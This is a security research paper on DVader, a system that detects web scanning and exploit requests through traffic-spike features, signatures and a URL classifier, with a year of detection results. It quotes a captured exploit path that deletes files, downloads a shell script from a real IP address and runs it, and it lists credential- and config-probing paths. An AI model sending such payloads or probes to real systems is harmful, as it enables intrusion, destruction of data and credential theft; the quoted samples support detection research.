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Abstract—Scanning is a prevalent method used by threat actors
to identify vulnerabilities in networks or systems for subsequent
exploitation. Prior research has focused on signature or anomaly-
based methods for detecting malicious traffic on limited datasets.
However, there is a gap in the comprehensive understanding of
scanning activity, particularly in the context of the Web. Our
scanning detection system, DVader, leverages a unique vantage
point that provides visibility over nearly 100,000 networks to
monitor scanning patterns. We identify that scanning activity
often causes sudden bursts in traffic that are distinct from typical
user behavior. To detect scanning in mixed traffic (benign and
malicious), we track unusual spikes in volume-based features,
such as the total number of requests, and employ a machine
learning model. We conduct the first large-scale longitudinal
study of the scanning activity leveraging our multi-network
approach. By analyzing the detections of our system, we provide
insights into scanning activity. We detect 316 million scanning
and exploiting requests between May 1, 2023 and May 1, 2024,
58% of which are directed at router vulnerabilities. We show that
our system detects malicious URLs embedded in exploit requests
before they were detected by VirusTotal vendors. We show that
our system effectively detects emerging threats within mixed
traffic through case studies of recent and notable vulnerabilities,
such as those in Ivanti Connect Secure, Log4j, and Zyxel router
Web UI.

Index Terms—scanning activity, anomaly detection, networks

I. INTRODUCTION

Scanning occurs when an attacker initiates network requests

in an attempt to identify and later exploit the potential vul-

nerabilities of the target hosts. For example, attackers may

attempt to identify open ports and services that can be used

to gain access to a typically benign and potentially vulnerable

target system through scanning. Scanning activity has been on

the rise. In 2023 and 2024, several organizations, including

the Cybersecurity and Infrastructure Security Agency (CISA),

observed an increase in vulnerability scanning [1]. Scanning

requests typically originate from threat actors’ devices. How-

ever, scanning may also originate from benign networks likely

driven by malware on infected machines [2]–[4]. By launching

scanning from compromised hosts, attackers can cover their

traces, bypass geofencing, and leverage the resources of these

compromised devices to generate a higher volume of scanning

requests compared to what they could achieve using only

their own devices. Generating a higher volume of scanning is

beneficial for attackers as it increases the likelihood of quickly

discovering vulnerabilities across a broad range of targets.

In this paper, we study the scanning and exploiting requests

that are specially crafted to scan the Internet for vulnerable

Web applications and exploit them. This type of scanning

activity utilizes HTTP(S) requests (such as GET and POST).

The crafted requests may scan for the existence of vulnerable

code or scan and exploit simultaneously by containing an

attack payload. For example, adversaries have attempted to

scan for and exploit an unauthenticated command injection

vulnerability in a router Web management interface (CVE-

2023-1389) by sending requests with URLs of the form

shown in Figure 1. These exploiting URLs are designed to

download a malicious file to the target, example.org, for

further malicious activities. By sending many HTTP requests

to different destinations (i.e., targets) with the crafted exploit

path shown in Figure 1, attackers may scan and attack multiple

destinations. If the target has the vulnerability, the launched

attack may succeed.

Fig. 1. An example exploiting URL.

It is necessary to identify malicious or unknown traffic

among mixed network traffic (i.e., contains malicious and

benign requests) to study and mitigate scanning and exploiting

activity. The main challenge of systems that monitor networks

for malicious activity, is detecting emerging patterns. Common

implementations for malicious traffic detection use signature-979-8-3315-8969-1/25/$31.00 ©2025 IEEE



based methods [5]–[8] or anomaly-based detection [6], [9]–

[12]. The signature-based method finds known patterns that

would identify malicious activity. However, due to the high

frequency of new vulnerability introduction [13], signature-

based detection is less responsive to threats that have recently

surfaced. Anomaly detection has been extensively used to

detect malicious activities in networks. Anomaly detection

approaches typically characterize normal network flows based

on the detailed analysis of large-scale network packet data [6],

[14]–[16] or behaviors and connections of each network

node [6], [9], [10], then train ML models or neural net-

works [17]. However, even for unsupervised systems which

are easier to scale compared to supervised systems, it is

challenging to detect anomalous activity in enterprise networks

due to the enormous volume of data [9]. Prior research utilized

graph-based structures for task-specific detection of traffic

anomalies, identifying malware downloads [18], [19], static

resources [20] and infrastructure [21]. Related systems are

designed to detect subsets of attack methods [9], [10], [12]

such as lateral movement or C2 communication. Kruegel et

al. [11] presented an application-specific system to detect

attacks against Web applications. Among the state-of-the-art,

King et al. [9] developed an unsupervised, scalable, anomaly-

based temporal graph link prediction system for lateral move-

ment. However, their system handles a 12 GB dataset [22],

while ours processes 53.33 TB.

Prior work studied port scanning [23]–[25] and scanning

traffic generated by botnets [2], [26], [27]. To study scanning,

related work [2], [24], [25], [28], [29] leveraged network tele-

scopes based on darknets which can only partially illuminate

scanning activity [30] and do not directly provide insights on

scanning directed at enterprise networks. In this work, we

aim to comprehensively study scanning activity. For that, it

is beneficial to have a multi-network vantage point, which

amplifies the challenge. This data volume issue impacts both

signature-based and anomaly-based methods, especially on

a large scale where multiple networks are being monitored.

The traditional signature-based methods leverage deep packet

inspection (DPI). Developing such system, while possible in

theory, would present technical challenges such as latency and

storage. Existing anomaly detection methods are not feasible

for studying scanning activity comprehensively at a multi-

network scale since they would require separate model training

for each network.

In this study, we develop a multi-network and hybrid

scanning activity detection system which we call DVader.

We identified a common trait of scanning activity as causing

unusual surges in network traffic. Normal user traffic follows

diurnal patterns and is typically focused on a small set of desti-

nations. In contrast, scanning activity often generates traffic to

many different IP addresses, destination organizations, or paths

in a short time. This deviation results in measurable surges

in volumetric features such as request rate per destination

or per path. Based on this insight, we developed 9 volume-

based features for our system to monitor. To mitigate the

aforementioned DPI requirement of the signatures, we use

high-level signatures that inspect only the request URL path

along with the query string. Our volume-based features help us

mitigate the limitation of signatures being ineffective against

new threats. Additionally, we develop and train an ML model

to detect variations of known threat patterns and commands

often found in exploit payloads.
DVader is a hybrid system that uses volume-based fea-

tures extracted from network traffic and an ML model in

addition to high-level signatures to detect scanning activity.

Using DVader, we present the first large-scale longitudinal

analysis of scanning traffic. We teamed up with an enterprise

cybersecurity company whose Web filtering solution provides

us with a uniquely broad vantage point. This vantage point

gives us the ability to run DVader to detect and analyze

malicious scanning patterns across nearly 100,000 networks.

DVader first ingests network logs, applies filters, and maps

the destination IP address to the owner organization. It then

computes feature values, flags unusual spikes in these values,

and matches a set of high-level signatures to the logs. Finally,

DVader employs a set of filters and an ML model to categorize

the scanning requests with different confidence levels. Our ML

model architecture is largely influenced by URLNet [31] by

Le et al. and uses Character-level CNN and Word-level CNN

to extract the representation of the URLs.
Using DVader, we aim to identify known scanning requests,

highlight characteristics of scanning activity, as well as moni-

tor for emerging patterns. We run DVader on the network logs

collected between May 1, 2023 and May 1, 2024. DVader de-

tects 316 million scanning requests, 54 million of which probe

for high severity vulnerabilities (CVSS v2.0 rating≥7.0 [32]).

Our detections indicate that commonly targeted vulnerabilities

are those with a high probability of affecting a wide range of

targets, with 58% directed at router vulnerabilities. Addition-

ally, DVader identifies instances of exploiting requests where

attackers embedded previously unseen malicious URLs (not

detected by any VirusTotal vendor) for payload delivery or C2

operations such as the URL shown in Figure 1. In summary,

the contributions of this paper are as follows:

• We identify a characteristic of scanning activity as sudden

bursts in traffic and develop volume-based features and a

spike detection algorithm to detect these bursts.

• We build a hybrid multi-network scanning activity detection

system called DVader utilizing volume-based features, high-

level signatures, and an ML model leveraging a vantage

point that allows us to comprehensively study scanning

traffic across nearly 100,000 networks. We demonstrate

the improved detection coverage achieved through a multi-

network vantage point, as opposed to relying on a single-

network perspective by showing a case study.

• By using DVader, we execute the first large-scale longi-

tudinal analysis of scanning traffic and detect millions of

scanning requests. We analyze our detections and provide

insights into scanning traffic.

• Using case studies of notable vulnerabilities disclosed be-

tween 2020-2024, we demonstrate that DVader is effective

in detecting emerging threats in mixed traffic.





manually investigate sampled emerging scanning detections to

detect unseen patterns. We illustrate DVader’s architecture in

Figure 3.

A. Vantage Point

Scanning activity often results in abnormal spikes in net-

work traffic, characterized by a high volume of requests. This

is typically driven by attackers’ intent to quickly probe and

exploit a large number of destinations or vulnerabilities in

a short period, aiming to maximize coverage and efficiency

during reconnaissance and exploit efforts. Some attackers may

use slower, more stealthy techniques that generate only small

increases in request volume, making detection difficult when

observing a single network in isolation. However, by moni-

toring multiple networks simultaneously, these small, similar

bursts can accumulate across vantage points, allowing for the

detection of distributed scanning activity that might otherwise

go unnoticed. Having visibility across multiple networks is

beneficial for monitoring volume-based features. Although

this method may not catch all scanning behavior, particularly

highly stealthy and non-distributed scans, it enhances detection

coverage and responsiveness by leveraging volumetric features

across a multi-network view. Therefore, we teamed up with a

cybersecurity company. Their Web filtering solution operates

on requests logged by their firewalls deployed in enterprise

networks. These logs are then collected in their cloud teleme-

try. This telemetry provides us with a unique vantage point

to monitor patterns of request URLs across nearly 100,000

monitored networks. We demonstrate the advantage of our

multi-network vantage point in Section VI-C with a case study.

By integrating DVader with the cybersecurity company’s

solution, we extract the following information for each ob-

served HTTP and HTTPS request: i) The recorded date

and time of the request, ii) The requested URL, iii) The

destination IP address, iv) The network identifier (Network

ID) and v) The network’s industry type and country. The

network identifier is anonymized to protect sensitive data. For

HTTPS traffic, SSL decryption is applied to extract the URLs.

Ethical considerations are further discussed in Appendix A.

Our visibility is limited to the request URL as the telemetry

does not provide us with the rest of the HTTP(S) requests.

However, by leveraging our volume-based features and the

multi-network vantage point, we can still capture scanning

requests as well as exploiting requests even when the payloads

are not embedded in the URLs but in other parts of the request.

We demonstrate this with a case study in Appendix H.

The monitored networks exhibit substantial diversity. We

monitor networks across a wide range of industries, includ-

ing but not limited to finance, healthcare, manufacturing,

high technology, and telecommunications. Geographically, our

monitoring spans various regions, encompassing North Amer-

ica, South America, Eastern and Western Europe, Asia, and

Africa. Different industries and regions may be targeted by

different types of attacks due to their varying infrastructures

and security postures. For instance, financial networks may

face attacks like phishing and fraud, while healthcare networks

could experience threats related to ransomware targeting sen-

sitive patient data. The monitored network diversity exposes

us to a broad spectrum of attack vectors. In Figure 4, we

show an illustration of how we utilize our unique vantage

point to collect requests originating from within the monitored

networks (egress) and requests directed at the monitored

networks (ingress) and detect scanning activity. Our detection

system can retrieve the cloud telemetry and identify spikes in

the total volume of request URLs containing the path /shell.

Fig. 4. Vantage Point of DVader.

B. Preprocess Module

The first step of our system is the Preprocess module. This

module ingests the network logs of all monitored networks

for the past 24 hours and applies a set of URL filters to the

network logs to remove requests that are unlikely to be scan-

ning activity, based on our threat model and our preliminary

observations. The 24-hour sliding window could be adjusted

to be closer to real-time. Then, we map the destination of the

remaining egress requests with their respective organizations

(through autonomous system mapping) to help identify the

target of each request.
Given that our visibility is limited to the URL itself, we opt

to exclude requests from our dataset when the URL contains

neither a path nor a query. Private IP addresses are not unique

and may be used internally by private networks. Requests

to these IP ranges are by nature internal requests. These

internal requests could be indicators of lateral-movement or

benign vulnerability testing. In this work, we study requests

maliciously crafted to scan and exploit external networks.

Hence, we remove the requests that have private destination IP

addresses. To identify the type of activity and the goal of the

adversary, it is necessary to determine the target. To attribute

the destination IP addresses of egress requests to their respec-

tive organizations, we use Maxmind GeoIP Database [35]. By

leveraging this database we map the destination IP addresses

to Autonomous Systems (AS).

C. Feature Module

After the preprocessing step concludes, the feature module

computes eight of the nine volume-based features and detects

unusual spikes in the feature values. Then, the spike inspector

removes requests that are unlikely to be scanning activity. The

remaining requests are then matched with threat signatures in

our curated database. Finally, for each network, the feature

module computes the ninth feature that represents the count

of signature matches per network.



Fig. 3. The architecture of our scanning detection system, DVader.

1) Features: We develop our volume-based features to

capture the different types of scanning activity discussed in

Section II-B. Specifically, our features should capture targeted

attempts on individual networks or organizations as well

as distributed attempts across many networks. Our features

should be robust against emerging threats and benign fluctua-

tions in enterprise network traffic. When multiple networks log

similar scanning behavior, targeting the same vulnerability or

destination, they contribute to the same features as illustrated

in Figure 4. Hence, by monitoring volume-based features from

multiple networks, we could identify spikes that help detect

scanning activity. We conducted a preliminary analysis of

network logs from May 1 to Aug 1, 2023, preprocessing them

to detect scanning and exploiting requests using high-level

signatures linked to high-score CVEs (CVSS v2.0 rating≥7.0).

From this analysis, with the analysts at the cybersecurity

company, we developed 9 DVader features fully using the

information provided by the solution telemetry to track various

aspects of request patterns. In Table I, we outline our features

and provide a notation for them to facilitate following the rest

of this paper.

This feature set captures key indicators of anomalous behav-

ior at both destination-level and vulnerability-level. Features

RN , RP and RP,N provide a baseline for detecting unusual

surges caused by the additional traffic introduced by scanning

activity in overall request volumes. Features U
Org
N , U

Org
P ,

U
Org
P,N , and UN

P track the number of unique organizations

and networks targeted, helping to identify multi-destination

scanning activities. Conversely, if these features show no

anomalies while U IP
P,N exhibits a spike, it suggests an IP

address sweep focused on a single organization, indicating

a single-destination scanning effort. Feature U
Sig
N monitors a

unique set of high-level signatures that match requests logged

by each network. Unlike the rest of the features which require

an abnormal increase to indicate malicious activity, U
Sig
N

shows an immediate signal of malicious activity without need-

ing volume analysis. Hence, we leverage feature U
Sig
N without

spike detection. We summarize the correlations between the

Feature Definition
RN Total number of requests (R) with any path (Pall)

logged by a network (N ).
RP Total number of requests (R) made with a particular path (P )

logged across all monitored networks (Nall).
RP,N Total number of requests (R) made with a particular path (P )

logged by a network (N ).

U
Org
N

Total number of unique destination organizations (UOrg)
in requests with any path (Pall) logged by a network (N ).

U
Org
P

Total number of unique destination organizations (UOrg)
in request with a particular path (P )
logged by all monitored networks (Nall).

U
Org
P,N

Total number of unique destination organizations (UOrg)
in request with a particular path (P ) logged by a network (N ).

U
IP
P,N

Total number of unique destination IP addresses (UIP )
in request with a particular path (P ) logged by a network (N ).

U
N
P

Total number of unique networks (UN )
that logged at least one request with a particular path (P ).

U
Sig
N

Total number of unique signature hits (USig)
for requests logged by a network (N ) (i.e., signature hits).

TABLE I
DVADER FEATURES.

features and scanning activity types in Appendix B. We discuss

the robustness of our features and spike detection methodology

in Section IV-A. In Appendix C, we show that each of our

features significantly contribute to the detections and that our

features are largely uncorrelated.

2) Feature Spike Detector: Our goal is to identify whether

a specific feature value displays an abnormal surge in com-

parison to its past values across previous days. The core of

our method is based on the concept of identifying outliers

or anomalies using deviations from the mean, a widely used

approach for anomaly detection in time series data [36].

To accomplish that, for each feature except U
Sig
N , we first

compute the moving averages (µf ) and the standard deviations

(σf ) for a time window. Based on these two values and the

current feature (f ) value, the spike detector labels the spikes.

By computing the moving average and standard deviation over

a rolling window, the spike detector adapts to the changes

in the data distribution over time and detects anomalies with

better accuracy compared to a method that only implements a

spike threshold.



Many real-world datasets, particularly in network monitor-

ing, traffic analysis, or user behavior, exhibit weekly periodic

patterns. For example, Web traffic might have distinct weekday

and weekend patterns, or customer activity could follow a

weekly cycle. The time window we pick for moving averages

should provide enough historical context to capture normal

behavior, yet should help accurately portray the recent trend

in feature values. Hence, we choose a 7-day moving window

which provides a good compromise between sensitivity to

detect anomalies quickly and stability to avoid false positives

due to daily noise.

In our preliminary experiments, we observe that for benign

traffic, 99% of the data points for feature values lie within

two or three standard deviations from their mean. Our finding

aligns with the common definition (for Z-scores) of a signifi-

cant anomaly as a deviation of two standard deviations from

the moving average [37]. To find the spikes, the spike detector

flags values that are greater than a moving upper threshold

(δUf ). We set the upper threshold as the mean plus a multiplier

(i.e., feature-specific constant, Nf ) of the standard deviations.

Additionally, URLs that are observed once or a few times may

trigger the spike detector. Hence, we enforce a feature-specific

lower threshold (δLf ) to help us eliminate these kinds of false

positives. To tune δLf and Nf , we sample one month’s worth of

logs and scanning detections from our preliminary experiment.

Then, we adjust the thresholds and the constants so that the

spike inspector captures the spikes for the detected scanning

requests without mistaking unique URLs as scanning. We label

a feature value as a spike only if the following conditions are

true: f > δLf and f > δUf = µf + Nf ∗ σf . After executing

the spike detector, the feature module appends the identified

spikes (i.e., spike knowledge) to the corresponding requests.

a) Spike Inspector: At this stage, we use spike knowl-

edge to filter out low-potential scanning requests before the

costly signature matching step. The spike inspector examines

the results of the spike detector for each request and only

keeps the requests that show at least one feature spike.

3) Signature Matching: We match the URL paths against

a collection of high-level signatures created using Regular

Expressions (regex) [38]. With the signature matching com-

ponent, we can directly identify the requests that match with

known patterns. Moreover, this step later helps us compute

the feature U
Sig
N which contributes to detections by identifying

networks that have logged multiple requests with known threat

patterns. We explain this in detail in Section III-D.

a) Signature DB: We extracted a subset of 1,432 high-

level signatures from the cybersecurity company’s intrusion

prevention system (IPS) signature set. Their IPS signature

set is curated from various sources (such as manual and

automated methods and ML models). Specifically, we extract

regex representations of various scanning and exploiting paths

that may be used in attempts to exploit previously disclosed

vulnerabilities. The distribution of these signatures across the

years they were published and the assigned severities based on

the CVSS ratings are shown in Appendix D. The majority of

our signatures (98.6%) in our database are for vulnerabilities

published on or after 2019. This is because a wider array

of targets will likely remain vulnerable to recently disclosed

exploits due to factors such as insufficient time to apply

patches or the absence of available patches. Hence, it is more

practical for threat actors to target recent vulnerabilities.

b) Matching Process: We apply regex matching for each

request URL in the logs with all signatures. The requests that

match any signature in the DB get assigned the signature CVE

and the severity. We keep the requests that do not have a match

for further processing since these requests may be scanning for

threats that our DB does not cover (e.g., emerging or zero-day).

Successful attacks involving URLs matching high severity

signatures lead to more serious consequences compared to

those targeting medium or low-rated vulnerabilities. Addition-

ally, URLs matching high severity signatures typically contain

the complete attack payload, which may also incorporate a

malicious IP address where a malicious file is fetched from

(i.e., delivery IP) as shown in Figure 1. When a network FW

logs requests matching high severity signatures, it indicates

ingress or egress scanning activity, as the request might be

actively seeking to engage in acts that are unlikely to be benign

such as downloading a malicious file. Therefore, we can

directly designate these requests as scanning activity. However,

for some medium or low severity high-level signature matches,

such as /solr/admin/metrics (CVE-2023-50290), we

cannot directly classify it as scanning or exploiting, as it could

potentially be a benign request. The confidence level of our

detections varies depending on the severity of the signature.

Hence, we must handle requests matching different severities

differently. Therefore, the signature matching step ensures that

requests are assigned appropriate severities. We elaborate on

how we handle requests based on their assigned severities in

Section III-D. After the signature matching step is completed,

all requests with their assigned vulnerabilities (or lack thereof)

are propagated to the next step.

4) Signature Hits (U
Sig
N ): Multi-vulnerability scanning is

strategically advantageous for adversaries. This approach en-

hances the likelihood of a successful exploit by broadening

the scope of probed vulnerabilities, particularly when the

adversary is unaware of the specific vulnerabilities present

in the targets. Additionally, when a network logs multiple

unique known scanning patterns in egress or ingress requests,

it increases the likelihood that its detected emerging paths are

indeed scanning activity. Hence, after the signature matching

step, we compute the signature hits feature (U
Sig
N ) for each

network and append these values to the requests based on their

Network IDs. We independently quantify the occurrences of

unique high (U
Sig,H
N ) and medium or low severity signature

matches (U
Sig,ML
N ) for each network due to the confidence

level differences discussed in Section III-C3b.

D. Detection Module

In this phase, we begin by employing a filter that categorizes

the requests based on the severity of their matched signatures.

Then, we utilize the feature and spike knowledge to classify

requests as potential scanning activity or emerging scanning



activity candidates. To detect emerging scanning activity, we

further apply an ML model to candidates. We then manually

inspect emerging scanning candidates, create new signatures,

and feed them back to DVader.

1) Severity Filter: We directly label the requests matching

high severity signatures as confident scanning activity since

these requests both show spikes indicating scanning behavior

(determined by the spike inspector) and contain threat patterns.

We separate the remaining requests into two groups: one for

requests matching medium or low severity signatures, and the

other for requests that do not match any signatures in our

database. Then, we apply different filters to these groups be-

fore categorization. This division serves two purposes. Firstly,

requests with a medium or low severity signature match

already exhibit a heightened potential for scanning compared

to those without, requiring less supplementary evidence for

classification as scanning. Hence, we opt for less stringent

filters for the matched requests. Secondly, requests lacking

a match may embody emerging or zero-day threat patterns

requiring further investigation.

2) Feature Filters: To identify potential scanning activity,

we apply a feature filter to the requests with medium or

low severity signature matches. We eliminate a request, if its

corresponding network has logged zero requests matching a

high severity signature (i.e., U
Sig,H
N = 0). This ensures only

requests linked to networks that are attacked contribute to the

potential scanning activity detections of DVader.

DVader uses feature and spike knowledge and our ML

model to detect emerging patterns. For this work, we opt to

use strict filters on feature and spike knowledge as well as a

strict detection threshold for our ML model to reduce false

positives and the manual labor needed to investigate emerging

scanning activity detections. At this step, a request is retained

if U
Sig,H
N ≥ 5 and at least 5 features show a spike. We chose

these rules for our filters based on the median numbers we

calculated for high severity detections in our preliminary ex-

periment. We then propagate the remaining emerging scanning

activity candidates to our ML model for further detection.

Furthermore, we manually inspect these detections for other

unseen patterns as we discuss in Section IV-C2.

3) ML Model: We designed our model to detect variations

of known malicious patterns and exploit patterns that contain

commands (e.g., wget) to help with the detection of zero-

day or emerging exploiting patterns. We chose not to include

volumetric features in the model at this stage and left that for

future work. This decision was due to the significant time and

manual effort required to collect and label a sufficiently large

dataset that includes both scanning and exploitation cases. In

particular, when the URL does not contain an explicit payload,

labeling relies on volumetric features, which would require

extended runtime of DVader and manual labor to capture and

annotate such activity accurately.

Our model architecture is largely influenced by URL-

Net [31] by Le et al., a proven effective model for detecting

malicious URLs. Like URLNet [31], we use Character-level

CNN and Word-level CNN to extract the representation of the

URLs for predictions. Additionally, we introduce a new feature

to the Word-level CNN: string random. This feature calculates

the randomness score (0-1) of each word using Markov Chain.

To make it compatible with other features in the Word-level

CNN, we embed the randomness scores by multiplying them

with a learnable embedding vector, allowing us to turn the

randomness scores into the same dimension as other features.

After passing through the Character-level CNN and Word-level

CNN, we concatenate the representations from each CNN and

pass them through one dense layer to transform and reduce the

vector dimension. Unlike the approach taken by Le et al., we

do not pass the final representative vector to a standard softmax

layer for predictions. Instead, we use the Innocent Until Proven

Guilty (IUPG) framework [39] to train the model and make

predictions. This approach, first introduced by Kutt et al. [39],

involves leveraging K-means to cluster scanning samples and

collect representative prototypes before training. During train-

ing, we extract the representations of training samples and

prototypes using Character-level CNN, Word-level CNN, and

a dense layer, and measure the L1 Euclidean distances between

the representations of each sample and prototypes. Finally, we

obtain the scores by calculating 1 −min(tanh(distances)).
This use of the IUPG framework makes the model more robust

against out-of-distribution content, reducing the likelihood of

false positives.

To train the model, we collected 3 million benign URLs

and 4,899 scanning (or exploiting) URLs from the preliminary

experiment discussed in Section III-C1. To ensure there are

no false positives, for the scanning URL set we collected

i) URLs matching with signatures and ii) URLs that do not

match with signatures but contain commands typically used

in malicious payloads, such as wget and chmod. The data

is split into three disjoint testing, training and validation sets

as follows: 1 million benign URLs for each of the training,

testing, and validation, 1,499 scanning URLs for training, 999

for validation, and 2,401 for testing. To address the issue of

imbalanced data distribution, we added extra class weight to

the cross-entropy loss function for scanning activity samples.

We trained the model using only the query and path parts of

URLs since we wanted to avoid misleading the model to be

biased toward certain targets.

IV. SYSTEM EVALUATION

We analyzed nearly 100,000 network logs to detect scanning

activity spanning over 12 months between May 1, 2023,

and May 1, 2024. DVader ingests 12 months’ worth of

network logs containing 2.45 trillion requests (6.8 billion per

day). After the filters in the preprocess and feature module

are applied, this number decreases to 36.4 billion. Upon

completing all steps, DVader identifies 54 million confident

scanning, 139.4 million potential scanning, and 122.4 million

emerging scanning requests, respectively representing 0.15%,

0.38%, and 0.34% of the total analyzed network traffic after

the filters. Consequently, the overall scanning activity traffic

(315.8 million requests) constitutes at least 0.87% of the traffic



after our strict filters. In this section, we evaluate our scanning

activity detection system, DVader.

A. Robustness

a) Robustness Against Mixed Traffic: One potential chal-

lenge with spike detection is the occurrence of spikes in

benign environments, where natural fluctuations in user be-

havior, such as a sudden surge in Web traffic during peak

business hours, might trigger false positives. To mitigate this,

our detection system incorporates safeguards such as the use

of a 7-day moving average, standard deviation, and feature

filters. To ensure the robustness of our features and spike

detection method, we must demonstrate that we minimize

false positives and accurately identify scanning traffic. To this

end, we evaluate all features except U
Sig
N . For network-based

features (with an N subscript, fN ), we need to observe their

behavior for a benign network where Web traffic is generated

by real users under normal operating conditions, devoid of

any known malicious activity. It is difficult to gather organic

and large-scale traffic that can be confidently labeled as purely

benign. Hence, we analyzed a network within the cybersecurity

company where advanced protection mechanisms reduce the

likelihood of malicious activity.
In Figure 5, for the selected network, we show an excerpt

of the feature RN and the moving threshold DVader computes

during our longitudinal study. We show that DVader is mostly

able to adapt to fluctuations and avoid false positives. During

our 12 month study, we record only two instances where

DVader potentially falsely flags a spike in feature RN . In

Appendix Section I, we show similar results for all evaluated

features. Additionally, Figure 5 demonstrates a clear pattern in

which request volumes are naturally elevated during weekdays

compared to weekends. This observed periodicity over a 7-day

span suggests that DVader’s 7-day moving average window is

well-calibrated to capture these fluctuations. As a result, this

configuration enhances the system’s ability to accurately detect

deviations indicative of scanning activity, while minimizing

false positives from normal traffic variations.

RN δ
U
RN

Fig. 5. Feature RN and the moving threshold δURN
.

b) Robustness Against Unseen Threats: To evaluate sys-

tem robustness against unseen threats, we must show that our

system is able to detect unseen threats before any large-scale

attempt begins. To this end, we historically evaluated DVader’s

capability of detecting emerging scanning over notable vul-

nerabilities used in scanning activity. In Figure 6, we show

an example of this evaluation for the remote code execution

(RCE) vulnerability in Apache’s Log4j library (CVE-2021-

44228). We run DVader retrospectively on the network logs

around the CVE publish date of Dec 10, 2021. DVader was

able to timely detect this unseen (to our system) threat as

emerging scanning activity on the CVE publish date, before

the large-scale scanning activity started.

Fig. 6. Number of networks that logged scanning activity linked to Log4Shell.

B. ML Model Validation

Firstly, leveraging the datasets discussed in Section III-D3,

we evaluated the model using two metrics: false positive rate

(FPR) and recall. As we aimed to have a low FPR, we used

the detection scores from the validation set to determine the

thresholds that meet our standards. We then applied these

thresholds to the test set to obtain corresponding recall results.

As we show in Table II, our deep learning model for scanning

detection achieves high recall scores while maintaining low

FPRs, showcasing the ability of the model to correctly identify

URLs for scanning activity. We choose the threshold for the

lowest FPR (0.0001) for the ML model to use in DVader. Fur-

thermore, we employed the Receiver Operating Characteristic

(ROC) Curve and the Area Under the ROC Curve (ROC AUC)

as metrics to evaluate the model’s effectiveness in correctly

identifying positive instances while minimizing false positives.

The model demonstrated exemplary performance with an ROC

AUC score of 0.9997 on the test set (shown in Appendix E),

indicating a highly accurate predictive ability and robustness

in distinguishing true positives.

Threshold Targeted for FPR

FPR ≤ 0.01 FPR ≤ 0.001 FPR ≤ 0.0001

Dataset Recall FPR Recall FPR Recall FPR

Validation 0.993993994 0.0099997088 0.96996997 0.0009839071 0.9249249249 0.0000993947
Test 0.9858356941 0.0099952609 0.9433427762 0.0009889836 0.880075543 0.0000963883

TABLE II
THRESHOLD TARGETED FOR VARIOUS FPRS.

C. Scanning Activity Detections

1) Potential Scanning Activity: To evaluate potential scan-

ning activity detections, for 5 medium or low severity sig-

natures, we sampled 10 of the lowest confidence detections

for manual investigation. We classify potential scanning de-

tections as low confidence if the detected request only has a

single feature spike and U
Sig,H
N = 1. We observe a higher

confidence level in 85.7% of all detected potential scanning

requests. For the sampled 50 requests, at least one of the

following scanning activity indicators applied: i) The request

is part of an IP address range sweep (spike in U IP
P,N ), ii) The

request is initiated by a malicious IP address, iii) We observe



U
Sig,H
N + U

Sig,ML
N ≥ 4 for the same day, the previous, or

the next day, iv) A relatively bigger spike is detected when

the feature value was zero in the prior days, v) The request is

directed at sensitive target industries such as healthcare.

2) Emerging Scanning Activity: DVader detected 350,000

unique paths within the emerging scanning activity. We

sampled 5,000 unique paths that correspond to 30% of all

detected emerging scanning requests to reduce the manual

labor needed to investigate emerging scanning detections.

Our ML model flagged 1,233 (25%) of the sampled

paths as emerging patterns, reflecting its training to detect

signature variations and commands used in payloads. For

example, DVader detected the following path, attempting

to exploit a high severity RCE vulnerability (CVE-2023-

26609), as an emerging pattern while the signature matching

missed it: /cgi-bin/mft/wireless_mft?ap=root;

rm-rf*;cd/tmp;gethttp://104.168.5.4/abus.

sh;chmod777abus.sh;./abus.sh.

a) Detecting Unseen Threats: We curated a separate

signature database and matched these signatures with the rest

of the emerging scanning paths we sampled. This database

contains 1,005 known high-level threat signatures for vul-

nerabilities published before 2019 and does not have any

crossover with the original signature database we used for our

longitudinal study. We found that 193 (5.1%) of the unique

detected patterns matched a signature, corresponding to 16

distinct vulnerability signatures. This shows that DVader can

detect unseen (not in our signature DB) scanning activity.

To further investigate the unseen pattern detection

capabilities, we sampled 50 unique paths that correspond

to 9.6% of our detections for manual analysis. We observe

some of these paths among the botnet-initiated emerging

scanning identified in Section V-B. Additionally, all

50 of these paths may be linked to various scanning

activities. These detections contain patterns linked to known

CVEs such as /cgi-bin/popen.cgi?command=id

(CVE-2022-36553), /wsman (CVE-2021-38647),

/autodiscover/autodiscover.xml (CVE-2021-

26855), /GponForm/diag_Form?images (CVE-2018-

10561), /ctrlt/DeviceUpgrade_1 (CVE-2017-17215),

and /hnap1 (CVE-2015-2051). We observe requests that

are initiated by malicious IP addresses such as requests

with the pattern /api/account/prepaid-balance.

Our detections contain some scanning paths that

may be probing for information disclosure such as

/.aws/credentials, /.git/config, /metrics,

/niceports,/Trinity.txt.bak, and /version.

However, even though these detections show strong evidence

for scanning activity since they remained after our filters, we

could not confidently categorize these as benign or malicious

due to the lack of supporting evidence.

V. ANALYSIS OF THE RESULTS

In this section, we aim to present the characteristics of

scanning traffic by discussing the general trends.

CVE or Disclosure Year Percentage Vulnerability

CVE-2023-1389 36.3504 Command Injection in TP-Link Archer AX21 (r)
- 23.1426 Path Traversal
2020 19.5111 RCE in Zyxel [42] (r)
CVE-2019-15980 2.9780 Path Traversal in Cisco Data Center Network Manager (w)
CVE-2019-9082 2.4420 RCE in ThinkPHP (w)
CVE-2022-47945 2.3814 Path Traversal in ThinkPHP (w)
CVE-2021-44228 2.2701 RCE in Apache Log4j (w)
2018 1.2566 RCE in Netgear DGN1000 [43] (r)
CVE-2021-34473 1.0160 RCE in Microsoft Exchange Server (c)
CVE-2020-25506 0.9225 RCE in D-Link (r)

TABLE III
POPULARLY TARGETED VULNERABILITIES. ROUTER (R),
COLLABORATION TOOL (C), AND WEB FRAMEWORK (W).

A. Trends in Scanning Traffic

1) Targeted Vulnerabilities: In Table III, we show the top

10 most popularly targeted high severity vulnerabilities along

with the CVEs or the disclosure years, the percentages among

all detected confident scanning activity, the type of vulner-

ability, and the vulnerable technology stack. Our findings

indicate that vulnerabilities commonly targeted are those with

a higher probability of affecting a wide range of targets due to

their widespread usage. Among all detected confident scanning

traffic, 58% of requests probed for router vulnerabilities, 10%

targeted Web application development and testing frameworks,

23% targeted generic path traversal (e.g., /etc/passwd) on

various Web applications and devices, 1% targeted collabora-

tion tools (e.g., email and calendar).

We observe spikes in requests targeting CVE-2023-1389,

a command injection vulnerability in TP-Link routers. We

record the biggest spike on Apr 19, 2024 which we label in

Figure 7 where 1.3 million exploiting requests targeted 20,400

networks mainly in education and high-tech sectors. Router

attacks have been exceedingly popular among Advanced Per-

sistent Threats (APTs). In recent attacks, Russian hackers

